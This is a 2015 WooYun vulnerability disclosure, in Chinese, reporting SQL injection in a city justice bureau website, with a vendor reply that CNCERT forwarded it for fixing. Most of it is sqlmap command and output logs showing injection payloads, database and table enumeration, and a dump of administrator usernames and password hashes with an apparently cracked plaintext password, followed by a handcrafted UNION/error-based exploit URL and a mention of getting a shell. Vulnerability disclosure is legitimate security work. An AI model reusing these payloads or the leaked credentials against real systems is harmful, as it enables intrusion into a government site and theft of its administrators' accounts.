当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152787

漏洞标题:看我如何发现市司法局的注入点(注入之漫游后台)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-11-10 14:20

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-20: 厂商已经确认,细节仅向厂商公开
2015-11-30: 细节向核心白帽子及相关领域专家公开
2015-12-10: 细节向普通白帽子公开
2015-12-20: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

求rank。。。

详细说明:

注入爆出帐号密码 apache解析getshell。。。

漏洞证明:

目标站点:**.**.**.**
test:
url:http://**.**.**.**/feedback/index.php?groupid=17
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:36:47
[15:36:48] [INFO] testing connection to the target url
[15:36:48] [INFO] testing if the url is stable, wait a few seconds
[15:36:49] [INFO] url is stable
[15:36:49] [INFO] testing if GET parameter 'groupid' is dynamic
[15:36:50] [INFO] confirming that GET parameter 'groupid' is dynamic
[15:36:50] [INFO] GET parameter 'groupid' is dynamic
[15:36:50] [WARNING] reflective value(s) found and filtering out
[15:36:50] [WARNING] heuristic test shows that GET parameter 'groupid' might not
be injectable
[15:36:50] [INFO] testing for SQL injection on GET parameter 'groupid'
[15:36:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:36:52] [INFO] GET parameter 'groupid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[15:36:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:36:53] [INFO] GET parameter 'groupid' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[15:36:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:36:53] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:37:53] [INFO] GET parameter 'groupid' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[15:37:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:37:53] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[15:37:58] [INFO] target url appears to be UNION injectable with 13 columns
[15:37:59] [WARNING] combined UNION/error-based SQL injection case found on colu
mn 3. sqlmap will try to find another column with better characteristics
[15:38:02] [WARNING] combined UNION/error-based SQL injection case found on colu
mn 10. sqlmap will try to find another column with better characteristics
[15:38:03] [WARNING] combined UNION/error-based SQL injection case found on colu
mn 6. sqlmap will try to find another column with better characteristics
[15:38:04] [WARNING] combined UNION/error-based SQL injection case found on colu
mn 7. sqlmap will try to find another column with better characteristics
[15:38:05] [WARNING] combined UNION/error-based SQL injection case found on colu
mn 5. sqlmap will try to find another column with better characteristics
[15:38:05] [INFO] GET parameter 'groupid' is 'MySQL UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'groupid' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 54 HTTP(s) requ
ests:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:38:07] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:38:07] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:38:07] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:38:07
=========================================================================================
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
--current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:38:49
[15:38:49] [INFO] resuming back-end DBMS 'mysql'
[15:38:49] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:38:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:38:52] [INFO] fetching current database
[15:38:53] [WARNING] reflective value(s) found and filtering out
current database: 'hdm0390270_db'
[15:38:53] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:38:53] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:38:53
=========================================================================================
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
--dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:39:22
[15:39:22] [INFO] resuming back-end DBMS 'mysql'
[15:39:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:39:22] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:39:22] [INFO] fetching database names
[15:39:23] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] hdm0390270_db
[*] information_schema
[15:39:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:39:23] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:39:23
=========================================================================================
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
-D "hdm0390270_db" --count
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:40:27
[15:40:28] [INFO] resuming back-end DBMS 'mysql'
[15:40:28] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:40:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:40:28] [WARNING] missing table parameter, sqlmap will retrieve the number of
entries for all database management system databases' tables
[15:40:28] [INFO] fetching tables for database: 'hdm0390270_db'
[15:40:29] [WARNING] reflective value(s) found and filtering out
Database: hdm0390270_db
+--------------------------+---------+
| Table | Entries |
+--------------------------+---------+
| pwn_news_con | 2557 |
| pwn_base_plus | 397 |
| pwn_feedback | 207 |
| pwn_base_plusdefault | 186 |
| pwn_base_plusplan | 164 |
| pwn_base_plustemp | 104 |
| pwn_base_version | 101 |
| pwn_base_adminrights | 78 |
| pwn_base_pageset | 51 |
| pwn_base_adminauth | 41 |
| pwn_feedback_info | 37 |
| pwn_menu | 37 |
| pwn_member_centlog | 34 |
| pwn_base_border | 28 |
| pwn_base_config | 23 |
| pwn_job_form | 23 |
| pwn_news_cat | 22 |
| pwn_member_secure | 19 |
| pwn_member_zone | 19 |
| pwn_member_centrule | 18 |
| pwn_member_config | 16 |
| pwn_base_coltype | 15 |
| pwn_member_defaultrights | 13 |
| pwn_member_rights | 13 |
| pwn_base_adminmenu | 12 |
| pwn_base_plusplanid | 12 |
| pwn_page | 12 |
| pwn_tools_statdate | 12 |
| pwn_advs_link | 10 |
| pwn_feedback_group | 8 |
| pwn_news_config | 7 |
| pwn_photo_con | 7 |
| pwn_comment_config | 6 |
| pwn_job | 6 |
| pwn_member_regstep | 6 |
| pwn_page_group | 6 |
| pwn_advs_lb | 5 |
| pwn_comment_cat | 5 |
| pwn_member_msn | 5 |
| pwn_menu_group | 5 |
| pwn_tools_polldata | 5 |
| pwn_base_pagetemp | 4 |
| pwn_guestbook_config | 4 |
| pwn_photo_config | 3 |
| pwn_advs_lbgroup | 2 |
| pwn_advs_pic | 2 |
| pwn_base_admin | 2 |
| pwn_comment | 2 |
| pwn_guestbook | 2 |
| pwn_member_group | 2 |
| pwn_member_paycenter | 2 |
| pwn_news_proj | 2 |
| pwn_photo_cat | 2 |
| pwn_advs_linkgroup | 1 |
| pwn_advs_logo | 1 |
| pwn_advs_movi | 1 |
| pwn_advs_pop | 1 |
| pwn_advs_text | 1 |
| pwn_member | 1 |
| pwn_member_centset | 1 |
| pwn_member_notice | 1 |
| pwn_member_onlinepay | 1 |
| pwn_member_type | 1 |
| pwn_news_pcat | 1 |
| pwn_tools_code | 1 |
| pwn_tools_pollconfig | 1 |
| pwn_tools_pollindex | 1 |
| pwn_tools_statbase | 1 |
+--------------------------+---------+
[15:40:53] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:40:53] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:40:53
=========================================================================================
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
--dump -C "user" -T "pwn_base_admin" -D "hdm0390270_db"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:46:21
[15:46:21] [INFO] resuming back-end DBMS 'mysql'
[15:46:21] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:46:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:46:21] [INFO] fetching entries of column(s) 'user' for table 'pwn_base_admin
' in database 'hdm0390270_db'
[15:46:21] [INFO] analyzing table dump for possible password hashes
Database: hdm0390270_db
Table: pwn_base_admin
[2 entries]
+-------+
| user |
+-------+
| pxsfj |
[15:46:21] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
| ????? |
+-------+
[15:46:21] [INFO] table 'hdm0390270_db.pwn_base_admin' dumped to CSV file 'C:\DO
CUME~1\ADMINI~1\??\salmap\Bin\output\**.**.**.**\dump\hdm0390270_db\pwn_bas
e_admin.csv'
[15:46:21] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:46:21
[root@Hacker~]# Sqlmap -u http://**.**.**.**/feedback/index.php?groupid=17
--dump -C "password" -T "pwn_base_admin" -D "hdm0390270_db"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:46:55
[15:46:56] [INFO] resuming back-end DBMS 'mysql'
[15:46:56] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: groupid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: groupid=17' AND 7807=7807 AND 'TkPD'='TkPD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: groupid=17' AND (SELECT 4614 FROM(SELECT COUNT(*),CONCAT(0x3a767262
3a,(SELECT (CASE WHEN (4614=4614) THEN 1 ELSE 0 END)),0x3a6567793a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQaG'='UQaG
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: groupid=17' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONC
AT(0x3a7672623a,0x5a41765243716c7a454c,0x3a6567793a), NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: groupid=17' AND SLEEP(5) AND 'RdgH'='RdgH
---
[15:46:56] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:46:56] [INFO] fetching entries of column(s) 'password' for table 'pwn_base_a
dmin' in database 'hdm0390270_db'
[15:46:56] [WARNING] reflective value(s) found and filtering out
[15:46:56] [INFO] analyzing table dump for possible password hashes
recognized possible password hashes in column 'password'. Do you want to crack t
hem via a dictionary-based attack? [y/N/q]
Database: hdm0390270_db
Table: pwn_base_admin
[2 entries]
+----------------------------------+
| password |
+----------------------------------+
| 04afcd9a5844f39c46b68489a55ea0dc |Sfj168168
| 6ef777109fa3a14bece311186f16cadf |
+----------------------------------+
[15:46:57] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:46:57] [INFO] table 'hdm0390270_db.pwn_base_admin' dumped to CSV file 'C:\DO
CUME~1\ADMINI~1\??\salmap\Bin\output\**.**.**.**\dump\hdm0390270_db\pwn_bas
e_admin.csv'
[15:46:57] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\**.**.**.**'
[*] shutting down at 15:46:57
exp:
http://**.**.**.**//news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

1.png


getshell:

2.png


漫游后台。。。本地构造可拿shell。。
不多测试了。。

修复方案:

你们比我懂。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-11-20 17:54

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给江西分中心,由江西分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价